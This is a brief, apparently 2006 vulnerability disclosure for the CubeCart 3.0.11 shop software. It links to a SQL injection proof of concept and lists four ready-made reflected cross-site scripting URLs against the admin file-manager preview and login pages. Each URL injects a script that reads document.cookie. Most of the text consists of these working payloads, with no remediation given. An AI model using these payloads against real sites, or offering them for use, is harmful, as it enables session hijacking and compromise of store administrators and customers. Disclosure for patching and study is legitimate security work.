i) sql injection:
poc exploit and explaination here:
http://retrogod.altervista.org/cubecart_3011_sql_mqg_bypass.html
and here:
http://retrogod.altervista.org/cubecart_3011_sql.html
the issue could affect other payment modules in modules/gateway/ folder
ii) multiple xss:
http://[target]/[path_to_cubecart]/admin/filemanager/preview.php?file="><script>alert(document.cookie)</script>
http://[target]/[path_to_cubecart]/admin/filemanager/preview.php?file=1&x="><script>alert(document.cookie)</script>
http://[target]/[path_to_cubecart]/admin/filemanager/preview.php?file=1&y="><script>alert(document.cookie)</script>
http://[target]/[path_to_cubecart]/admin/login.php?email="><script>alert(document.cookie)</script>
rgod 17/08/20067.15.36